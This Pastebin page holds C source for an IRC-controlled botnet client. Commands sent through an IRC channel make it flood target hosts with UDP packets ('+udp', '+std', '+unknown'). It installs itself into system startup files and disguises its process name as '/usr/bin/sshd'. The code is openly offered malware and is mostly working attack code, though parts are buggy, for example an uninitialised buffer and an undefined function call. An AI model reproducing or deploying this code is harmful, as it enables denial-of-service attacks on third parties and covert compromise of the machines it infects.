API tools faq
paste
Zekahs

STD

Zekahs
Aug 4th, 2017
258
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.86 KB | None | 0 0
raw download clone embed print report
  1. #define STARTUP
  2. #undef IDENT
  3. #define FAKENAME "/usr/bin/sshd"
  4. #define CHAN "#channel"
  5. #define KEY ""
  6. #define PORT <port>
  7. #define PASS ""
  8. #define STD2_STRING "std"
  9. #define STD2_SIZE 50
  10. #define PREFIX ""
  11. int numservers=1;
  12. char *servers[] = {
  13. "<server ip>",
  14. (void*)0
  15. };
  16.  
  17. #include <string.h>
  18. #include <time.h>
  19. #include <stdarg.h>
  20. #include <errno.h>
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <sys/types.h>
  25. #include <sys/stat.h>
  26. #include <fcntl.h>
  27. #include <strings.h>
  28. #include <netinet/in.h>
  29. #include <unistd.h>
  30. #include <sys/time.h>
  31. #include <sys/socket.h>
  32. #include <signal.h>
  33. #include <arpa/inet.h>
  34. #include <netdb.h>
  35. #include <time.h>
  36. #include <sys/wait.h>
  37. #include <sys/ioctl.h>
  38.  
  39. int sock,changeservers=0;
  40. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
  41. unsigned int *pids;
  42. unsigned long spoofs=0, spoofsm=0, numpids=0;
  43.  
  44. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  45. switch((unsigned char)*pattern) {
  46. case '\0': return *string;
  47. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  48. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  49. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  50. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  51. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  52. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  53. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  54. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  55. }
  56. }
  57. int Send(int sock, char *words, ...) {
  58. static char textBuffer[1024];
  59. va_list args;
  60. va_start(args, words);
  61. vsprintf(textBuffer, words, args);
  62. va_end(args);
  63. return write(sock,textBuffer,strlen(textBuffer));
  64. }
  65. unsigned int host2ip(char *sender,char *hostname) {
  66. static struct in_addr i;
  67. struct hostent *h;
  68. if((i.s_addr = inet_addr(hostname)) == -1) {
  69. if((h = gethostbyname(hostname)) == NULL) {
  70. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  71. exit(0);
  72. }
  73. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  74. }
  75. return i.s_addr;
  76. }
  77. int mfork(char *sender) {
  78. unsigned int parent, *newpids, i;
  79. if (disabled == 1) {
  80. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  81. return 1;
  82. }
  83. parent=fork();
  84. if (parent <= 0) return parent;
  85. numpids++;
  86. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  87. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  88. newpids[numpids-1]=parent;
  89. free(pids);
  90. pids=newpids;
  91. return parent;
  92. }
  93. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  94. char *makestring() {
  95. char *tmp;
  96. int len=(rand()%5)+4,i;
  97. FILE *file;
  98. tmp=(char*)malloc(len+1);
  99. memset(tmp,0,len+1);
  100. char *pre;
  101. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  102. else {
  103. int a=((rand()*rand())%45402)+1;
  104. char buf[1024];
  105. for (i=0;i<a;i++) fgets(buf,1024,file);
  106. memset(buf,0,1024);
  107. fgets(buf,1024,file);
  108. filter(buf);
  109. memcpy(tmp,buf,len);
  110. fclose(file);
  111. }
  112. return tmp;
  113. }
  114. void identd() {
  115. int sockname,sockfd,sin_size,tmpsock,i;
  116. struct sockaddr_in my_addr,their_addr;
  117. char szBuffer[1024];
  118. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  119. my_addr.sin_family = AF_INET;
  120. my_addr.sin_port = htons(113);
  121. my_addr.sin_addr.s_addr = INADDR_ANY;
  122. memset(&(my_addr.sin_zero), 0, 8);
  123. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  124. if (listen(sockfd, 1) == -1) return;
  125. if (fork() == 0) return;
  126. sin_size = sizeof(struct sockaddr_in);
  127. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  128. for(;;) {
  129. fd_set bla;
  130. struct timeval timee;
  131. FD_ZERO(&bla);
  132. FD_SET(tmpsock,&bla);
  133. timee.tv_sec=timee.tv_usec=60;
  134. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  135. if (FD_ISSET(tmpsock,&bla)) break;
  136. }
  137. i = recv(tmpsock,szBuffer,1024,0);
  138. if (i <= 0 || i >= 20) exit(0);
  139. szBuffer[i]=0;
  140. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  141. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  142. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  143. close(tmpsock);
  144. close(sockfd);
  145. exit(0);
  146. }
  147.  
  148. /* ___ ____________________________ ___
  149. / _ \_/\ / _____/\__ ___/\______ \ / _ \_/\
  150. \/ \___/ \_____ \ | | | | \ \/ \___/
  151. / \ | | | ` \
  152. /_______ / |____| /_______ /
  153. \/ \/
  154. */
  155. void std(int sock, char *sender, int argc, char **argv) {
  156. if (argc < 3) {
  157. // do nothing
  158. }
  159. unsigned long secs;
  160.  
  161. int iSTD_Sock;
  162.  
  163. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  164.  
  165. time_t start = time(NULL);
  166. secs = atol(argv[3]);
  167. if (mfork(sender) != 0) return;
  168. Send(sock,"PRIVMSG %s :Packeting %s with std.\n",chan,argv[1]);
  169.  
  170. struct sockaddr_in sin;
  171.  
  172. struct hostent *hp;
  173.  
  174. hp = gethostbyname(argv[1]);
  175.  
  176. bzero((char*) &sin,sizeof(sin));
  177. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  178. sin.sin_family = hp->h_addrtype;
  179. sin.sin_port = atol(argv[2]);
  180.  
  181. unsigned int a = 0;
  182.  
  183. while(1){
  184. if (a >= 50)
  185. {
  186. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  187. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  188. if (time(NULL) >= start + secs)
  189. {
  190. Send(sock, "PRIVMSG %s :STD Attack Finished.\n", chan, argv[1]);
  191. close(iSTD_Sock);
  192. exit(0);
  193. }
  194. a = 0;
  195. }
  196. a++;
  197. }
  198.  
  199.  
  200. }
  201. /*
  202. ___ ____ ___________ __________ ___
  203. / _ \_/\ | | \______ \\______ \ / _ \_/\
  204. \/ \___/ | | /| | \| ___/ \/ \___/
  205. | | / | ` \ |
  206. |______/ /_______ /____|
  207. \/
  208. */
  209. static char *rand_string()
  210. {
  211. char *str;
  212. size_t size = 256;
  213. const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJK...";
  214. if (size) {
  215. --size;
  216. for (size_t n = 0; n < size; n++) {
  217. int key = rand() % (int) (sizeof charset - 1);
  218. str[n] = charset[key];
  219. }
  220. str[size] = '\0';
  221. }
  222. return str;
  223. }
  224. void udp(int sock, char *sender, int argc, char **argv) {
  225. if (argc < 3) {
  226. // do nothing
  227. }
  228. unsigned long secs;
  229.  
  230. int iSTD_Sock;
  231.  
  232. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  233.  
  234. time_t start = time(NULL);
  235. secs = atol(argv[3]);
  236. if (mfork(sender) != 0) return;
  237. Send(sock,"PRIVMSG %s :Packeting %s.\n",chan,argv[1]);
  238.  
  239. struct sockaddr_in sin;
  240.  
  241. struct hostent *hp;
  242.  
  243. hp = gethostbyname(argv[1]);
  244.  
  245. bzero((char*) &sin,sizeof(sin));
  246. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  247. sin.sin_family = hp->h_addrtype;
  248. sin.sin_port = atol(argv[2]);
  249.  
  250. unsigned int a = 0;
  251.  
  252. while(1){
  253. if (a >= 50)
  254. {
  255. send(iSTD_Sock, randomString(), 256, 0);
  256. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  257. if (time(NULL) >= start + secs)
  258. {
  259. Send(sock, "PRIVMSG %s :Finished Packeting %s.\n", chan, argv[1]);
  260. close(iSTD_Sock);
  261. exit(0);
  262. }
  263. a = 0;
  264. }
  265. a++;
  266. }
  267.  
  268.  
  269. }
  270.  
  271. /*
  272. ___ ____ __________ ____ __._______ ________ __ _________ ___
  273. / _ \_/\ | | \ \ | |/ _|\ \ \_____ \/ \ / \ \ / _ \_/\
  274. \/ \___/ | | / | \| < / | \ / | \ \/\/ / | \ \/ \___/
  275. | | / | \ | \/ | \/ | \ / | \
  276. |______/\____|__ /____|__ \____|__ /\_______ /\__/\ /\____|__ /
  277. \/ \/ \/ \/ \/ \/
  278. */
  279. void unknown(int sock, char *sender, int argc, char **argv) {
  280. int flag=1,fd,i;
  281. unsigned long secs;
  282. char *buf=(char*)malloc(9216);
  283. struct hostent *hp;
  284. struct sockaddr_in in;
  285.  
  286. time_t start=time(NULL);
  287.  
  288. if (mfork(sender) != 0) return;
  289.  
  290. if (argc != 2) {
  291. // do nothing
  292. }
  293.  
  294. secs=atol(argv[2]);
  295.  
  296. memset((void*)&in,0,sizeof(struct sockaddr_in));
  297.  
  298. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  299. in.sin_family = AF_INET;
  300.  
  301. Send(sock,"PRIVMSG %s :Unknowning %s.\n",chan,argv[1]);
  302.  
  303. while(1) {
  304.  
  305. in.sin_port = rand();
  306.  
  307. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
  308. } else {
  309. flag=1;
  310. ioctl(fd,FIONBIO,&flag);
  311. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  312. close(fd);
  313. }
  314.  
  315. if (i >= 50) {
  316. if (time(NULL) >= start+secs) break;
  317. i=0;
  318. }
  319. i++;
  320. }
  321. Send(sock,"PRIVMSG %s :Finished Unknowning.\n",chan,argv[1]);
  322. close(fd);
  323. exit(0);
  324. }
  325.  
  326. /*
  327. ___ ____________________________ __________ ________________________________ _________ ____ __. ___
  328. / _ \_/\ / _____/\__ ___/\_____ \\______ \ / _ \__ ___/\__ ___/ _ \ \_ ___ \| |/ _| / _ \_/\
  329. \/ \___/ \_____ \ | | / | \| ___/ / /_\ \| | | | / /_\ \/ \ \/| < \/ \___/
  330. / \ | | / | \ | / | \ | | |/ | \ \___| | \
  331. /_______ / |____| \_______ /____| \____|__ /____| |____|\____|__ /\______ /____|__ \
  332. \/ \/ \/ \/ \/ \/
  333. */
  334. void stop(int sock, char *sender, int argc, char **argv){
  335. unsigned long i;
  336. for (i=0;i<numpids;i++) {
  337. if (pids[i] != 0 && pids[i] != getpid()) {
  338. if (sender) Send(sock,"PRIVMSG %s :Killing PID %d.\n",chan,pids[i]);
  339. kill(pids[i],9);
  340. }
  341. }
  342. }
  343.  
  344. //Kill the bot
  345. void killsec(int sock, char *sender, int argc, char **argv) {
  346.  
  347. if(sender == "ENTITY"){
  348. kill(0,9);
  349. } else {
  350. Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  351. }
  352. }
  353.  
  354. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  355. { "+udp" , udp },
  356. { "+std" , std },
  357. { "+stop" , stop },
  358. { "+unknown" , unknown },
  359. { "+botkill" , killsec },
  360. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  361.  
  362. void _PRIVMSG(int sock, char *sender, char *str) {
  363. int i;
  364. char *to, *message;
  365.  
  366. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  367. str[i]=0;
  368. to=str;
  369. message=str+i+2;
  370. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  371. sender[i]=0;
  372. if (*message == '>' && !strcasecmp(to,chan)) {
  373. char *params[12], name[1024]={0};
  374. int num_params=0, m;
  375. message++;
  376. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  377. message[i]=0;
  378. if (strwildmatch(message,nick)) return;
  379. message+=i+1;
  380. m=strlen(message);
  381. for (i=0;i<m;i++) {
  382. if (*message == ' ' || *message == 0) break;
  383. name[i]=*message;
  384. message++;
  385. }
  386. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  387. num_params++;
  388. if (num_params > 10) num_params=10;
  389. params[0]=name;
  390. params[num_params+1]="\0";
  391. m=1;
  392. while (*message != 0) {
  393. message++;
  394. if (m >= num_params) break;
  395. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  396. params[m]=(char*)malloc(i+1);
  397. strncpy(params[m],message,i);
  398. params[m][i]=0;
  399. m++;
  400. message+=i;
  401. }
  402. for (m=0; flooders[m].cmd != (char *)0; m++) {
  403. if (!strcasecmp(flooders[m].cmd,name)) {
  404. flooders[m].func(sock,sender,num_params-1,params);
  405. for (i=1;i<num_params;i++) free(params[i]);
  406. return;
  407. }
  408. }
  409. }
  410. }
  411. void _376(int sock, char *sender, char *str) {
  412. Send(sock,"MODE %s +pixB\n",nick);
  413. Send(sock,"JOIN %s :%s\n",chan,key);
  414. Send(sock,"WHO %s\n",nick);
  415. }
  416. void _PING(int sock, char *sender, char *str) {
  417.  
  418. Send(sock,"PONG %s\n",str);
  419.  
  420. }
  421.  
  422. void _352(int sock, char *sender, char *str) {
  423. int i,d;
  424. char *msg=str;
  425. struct hostent *hostm;
  426. unsigned long m;
  427. for (i=0,d=0;d<5;d++) {
  428. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  429. if (i == strlen(str)) return;
  430. }
  431. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  432. msg[i]=0;
  433. if (!strcasecmp(msg,nick) && !spoofsm) {
  434. msg=str;
  435. for (i=0,d=0;d<3;d++) {
  436. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  437. if (i == strlen(str)) return;
  438. }
  439. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  440. msg[i]=0;
  441. if ((m = inet_addr(msg)) == -1) {
  442. if ((hostm=gethostbyname(msg)) == NULL) {
  443. return;
  444. }
  445. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  446. }
  447. ((char*)&spoofs)[3]=((char*)&m)[0];
  448. ((char*)&spoofs)[2]=((char*)&m)[1];
  449. ((char*)&spoofs)[1]=((char*)&m)[2];
  450. ((char*)&spoofs)[0]=0;
  451. spoofsm=256;
  452. }
  453. }
  454. void _433(int sock, char *sender, char *str) {
  455. free(nick);
  456. char tempnick[50];
  457. char *strpref = PREFIX;
  458. char *genname = makestring();
  459. strcpy(tempnick,strpref);
  460. strcat(tempnick,genname);
  461. nick=tempnick;
  462. }
  463.  
  464. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  465. { "352", _352 },
  466. { "376", _376 },
  467. { "433", _433 },
  468. { "422", _376 },
  469. { "PRIVMSG", _PRIVMSG },
  470. { "PING", _PING },
  471. { (char *)0, (void (*)(int,char *,char *))0 } };
  472. void con() {
  473. struct sockaddr_in srv;
  474. unsigned long ipaddr,start;
  475. int flag;
  476. struct hostent *hp;
  477. start:
  478. sock=-1;
  479. flag=1;
  480. if (changeservers == 0) server=servers[rand()%numservers];
  481. changeservers=0;
  482. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  483. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  484. if ((hp = gethostbyname(server)) == NULL) {
  485. server=NULL;
  486. close(sock);
  487. goto start;
  488. }
  489. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  490. }
  491. else srv.sin_addr.s_addr=inet_addr(server);
  492. srv.sin_family = AF_INET;
  493. srv.sin_port = htons(PORT);
  494. ioctl(sock,FIONBIO,&flag);
  495. start=time(NULL);
  496. while(time(NULL)-start < 10) {
  497. errno=0;
  498. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  499. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  500. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  501. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  502. return;
  503. }
  504. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  505. sleep(1);
  506. }
  507. server=NULL;
  508. close(sock);
  509. goto start;
  510. }
  511. int main(int argc, char *argv[]) {
  512. int on,i;
  513. char cwd[256],*str;
  514. FILE *file;
  515. #ifdef STARTUP
  516. str="/etc/rc.d/rc.local";
  517. file=fopen(str,"r");
  518. if (file == NULL) {
  519. str="/etc/rc.conf";
  520. file=fopen(str,"r");
  521. }
  522. if (file != NULL) {
  523. char outfile[256], buf[1024];
  524. int i=strlen(argv[0]), d=0;
  525. getcwd(cwd,256);
  526. if (strcmp(cwd,"/")) {
  527. while(argv[0][i] != '/') i--;
  528. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  529. while(!feof(file)) {
  530. fgets(buf,1024,file);
  531. if (!strcasecmp(buf,outfile)) d++;
  532. }
  533. if (d == 0) {
  534. FILE *out;
  535. fclose(file);
  536. out=fopen(str,"a");
  537. if (out != NULL) {
  538. fputs(outfile,out);
  539. fclose(out);
  540. }
  541. }
  542. else fclose(file);
  543. }
  544. else fclose(file);
  545. }
  546. #endif
  547. if (fork()) exit(0);
  548. #ifdef FAKENAME
  549. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  550. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  551. #endif
  552. srand((time(NULL) ^ getpid()) + getppid());
  553. char tempnick[50];
  554. char *strpref = PREFIX;
  555. char *genname = makestring();
  556.  
  557. strcpy(tempnick,strpref);
  558. strcat(tempnick,genname);
  559.  
  560. nick=tempnick;
  561. ident="Remote";
  562. user="Remote IRC Bot";
  563. chan=CHAN;
  564. key=KEY;
  565. pass=PASS;
  566. server=NULL;
  567. sa:
  568. #ifdef IDENT
  569. for (i=0;i<numpids;i++) {
  570. if (pids[i] != 0 && pids[i] != getpid()) {
  571. kill(pids[i],9);
  572. waitpid(pids[i],NULL,WNOHANG);
  573. }
  574. }
  575. pids=NULL;
  576. numpids=0;
  577. identd();
  578. #endif
  579.  
  580. con();
  581. Send(sock,"PASS %s\n", pass);
  582. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  583. while(1) {
  584. unsigned long i;
  585. fd_set n;
  586. struct timeval tv;
  587. FD_ZERO(&n);
  588. FD_SET(sock,&n);
  589. tv.tv_sec=60*20;
  590. tv.tv_usec=0;
  591. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  592. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  593. unsigned int *newpids,on;
  594. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  595. pids[on-1]=0;
  596. numpids--;
  597. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  598. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  599. free(pids);
  600. pids=newpids;
  601. }
  602. if (FD_ISSET(sock,&n)) {
  603. char buf[4096], *str;
  604. int i;
  605. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  606. buf[i]=0;
  607. str=strtok(buf,"\n");
  608. while(str && *str) {
  609. char name[1024], sender[1024];
  610. filter(str);
  611. if (*str == ':') {
  612. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  613. str[i]=0;
  614. strcpy(sender,str+1);
  615. strcpy(str,str+i+1);
  616. }
  617. else strcpy(sender,"*");
  618. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  619. str[i]=0;
  620. strcpy(name,str);
  621. strcpy(str,str+i+1);
  622. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  623. if (!strcasecmp(name,"ERROR")) goto sa;
  624. str=strtok((char*)NULL,"\n");
  625. }
  626. }
  627. }
  628. return 0;
  629. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!